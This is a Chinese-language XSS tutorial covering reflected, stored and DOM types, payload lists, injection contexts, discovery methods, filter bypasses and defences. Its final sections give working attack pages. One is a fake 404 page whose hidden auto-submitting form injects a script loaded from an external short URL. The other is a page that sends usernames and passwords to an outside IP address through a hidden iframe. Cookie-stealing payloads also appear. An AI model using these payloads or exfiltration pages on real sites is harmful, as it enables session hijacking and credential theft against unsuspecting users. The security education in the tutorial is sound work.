一、Cross Site Scripting
原理:
攻击者向Web页面里插入恶意Script代码,当用户浏览该页面时,,嵌入到Script的代码被执行,达到恶意攻击的目的。
分类:
1.发送连接。
2.用户点击恶意连接。
3.网站将XSS同正常的网页返回到用户的浏览器。
4.用户的浏览器解析了网页中的恶意代码,向恶意服务器发起请求。
5.黑客从自己搭建的恶意服务器获取用户的相关信息。
需要欺骗用户自己去点击恶意连接才能触发XSS代码。大多时用来盗用cookie的。非持久化。
1.黑客在目标服务器上构造XSS恶意脚本,保存在数据库中。
2.用户在网站登录状态下,访问了目标服务器,查看了存在恶意脚本的页面。
3.网站将XSS同正常的页面返回到用户的浏览器上。
4.用户的浏览器解析了网页中的恶意代码,向恶意服务器发起请求。
5.黑客从自己搭建的恶意服务器获取用户的相关信息。
持久化,代码时存储在服务器中的,例如:在个人信息或发表文章等地方,插入恶意代码,如果没有过滤或者过滤不严的话,那么这些恶意代码就会存储到服务器中,用户访问该页面时触发代码执行。比较危险,容易造成蠕虫,盗窃cookie
DOM型XSS:
不经过后端,DOM-XSS漏洞时基于文档对象模型的一种漏洞(Document Objeet Modle)通过url传入参数去控制触发,也属于反射型XSS。
HTML DOS 介绍:
DOM是一个平台和语言都中立的接口,可以使程序和脚本能够动态的访问和更新文档的内容、结果和样式。
在网站页面中有许多的页面元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object 文档对象,接着生成各个子文档的对象,每个页面元素对应着一个文档对象,每个文档对象包含属性、方法、和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。客户端的脚本程序可以通过DOM来动态的修改页面内容,从客户端获取DOM中的数据并在本地执行。
在HTML DOM中,所有的事物都是节点,DOM 是被视为节点树的HTML:
- 整个文档是一个文档节点
- 每个HTML元素是一个元素节点
- HTML元素内的文本是文本节点
- 每个HTML的属性是属性节点
- 注释是注释节点
通过HTML DOM ,树中的所有节点均可通过JS进行访问,所有的HTML元素均可被修改和删除。
HTML DOM 的方法与属性:
方法:
- getElementByld(id) - 获取带有指定id的节点元素。
- appendChild(node) - 插入新的子节点元素。
- removeChild(node)- 删除子节点。
属性:
- innerHTML - 节点元素的文本值
- parentNode - 节点元素的父节点
- childNode - 节点元素的子节点
- attributes - 节点元素的属性节点
来源:HTML DOM相关介绍
可能触发DOM型的XSS:
document.referer
window.name
location
innerHTML
document.write
如下图,在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中的参数的值,再通过DOM的方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的,所以就可以在参数上做手脚了。
二、XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如:
<script>标签:
<script>标签是最直接的XSS有效的载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入到脚本标记中。
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出数字 1
<script>alert(document.cookie)</script> #弹出cookie
<script src="http://xxx.com/xss.js"></script> #引用外部的xss
<svg>标签
<svg onload="alert(1)">
<img>标签
<img src=1 onerror=alert(document.cookie)> #弹出cookie
<body>标签
<body onload=alert(1)>
<body onpageshow=alert(1)>
<video>标签
<video onloadstart=alert(1) src="/media/hack-the-plant.mp4">
<style>标签
<style onload=alert(1)></style>
三、XSS可以插在哪里
- 用户输入作为scrip标签内容
- 用户输入作为HTMl的注释内容
- 用户输入作为HTML标签的属性名
- 用户输入作为HTML标签的属性值
- 用户输入作为HTML标签的名字
- 直接插入到CSS中
- 不要引入任何第三方Javascript到页面里
#用户输入作为HTML注释内容,导致攻击者可以闭合绕过,类似于SQL注入的时候闭合‘’进行sql注入
<!---------- 用户输入 ---------->
<!---- ----><section>alert('hack')</section><!-------->
#用户输入作为标签属性名
<div> 用户输入="xxxxxx" </div>
<div></div> <script>alert('hack')</script> <div a='xxx'> </div>
#用户输入作为标签的属性值
<div id="用户输入"> </div>
<div id=""></div> <script>alert(1)</script> <div id="用户输入"></div>
#用户输入作为标签名
< 用户输入 id = 'xxxxx'>
<div id=""></div> <script>alert(1)</script> <div a='xxxx'></div>
#用户输入作为CSS内容
<style>用户输入</style>
<style></style> <script>alert(1)</script> <style>用户输入</style>
四、XSS漏洞的挖掘
黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方:
- URL的每一个参数
- URL
- 表单
- 搜索框
常见的场景:
- 重灾区:评论区、留言区、个人信息、订单信息
- 针对型:站内的信息,网页的及时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性
白盒测试(代码审计)
主要是从接受参数的地方和一些关键词入手。
1.PHP中常见的接受参数的方式
- $_GET
- $_POST
- $_REQUEST
- and so on
可以搜索所有接受到的参数的地方。
2.对接受到的数据进行跟踪,看看有没有输出到页面中。
3.看输出到页面中的数据是否进行了过滤和HTML编码处理等。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们能否控制,如果从数据库中取出的数据,看是否能控制存到数据库中的数据,存到数据库之前是否进行了过滤等等。
大多数的程序员会对接受的参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数有没有过滤,能否绕过等。审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。
五、XSS攻击过程
六、XSS漏洞的危害
七、XSS的简单过滤和绕过
1.区分大小写的过滤标签
绕过技巧:可以使用大小写绕过 <scripT>alert(‘hack’)</scripT>
2.不区分大小写的过滤标签
绕过技巧:可以使用嵌套的script标签绕过 <scr<script>ipt>alert(‘hack’)</scr</script>ipt>
3.不区分大小写,过滤之间所有内容
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。 <img src=1 οnerrοr=alert(‘hack’)>
8.XSS的防御
- 对用户输入的信息和URL的参数进行过滤
- 对输出的行进行HTML编码
- 服务端设置会话cookie的HTTP Only 中的属性,使客户端的JS脚本就不能获取cookie信息了。
对用户提交的信息进行过滤,会过滤掉导致脚本执行的相关内容。
对动态输出到页面的内容进行HTML编码,使脚本无法执行。
对用户输入的内容进行过滤,分为黑名单和白名单过滤,黑名单过滤可以拦截大部分的XSS攻击,但是还是有漏网之鱼。白名单可以基本上杜绝XSS攻击,但是真实的环境中一般不会严格的执行白名单过滤。
九、发射型XSS的利用姿势
GET型
当我们输入的请求类型为get类型,即我们输入的参数是以URL参数的形式。因此就需要我们构造恶意代码来诱使用户点击之后不发现点击了恶意连接。构造代码,将其保存为HTML页面,然后放到我们的服务器上,做成一个连接,当用户登录了存在漏洞的网站,并且点击了我们构造的恶连接,该连接页面会偷偷的打开iframe框架,iframe会访问其中的连接,然后执行我们的js代码,该代码会把漏洞网站的cookie发送到我们的平台上,但是用户却不知道,只是会发现使一个404网站。(前提:存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性)
POST型
与get型类似,404页面中隐藏了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name等于form表单的target,并且我们设置iframe框架为不可见。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
<form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName">
<input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
<input type="hidden" name="password" value="1">
</form>
<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
十、利用JS将用户的cookie信息发送到后台
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<script>
$(function(){
//我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
user="admin";
pass="root";
url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame); //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
});
</script>
</head>
<body id="body">
<h3>hello,word!</h3>
</body>
</html>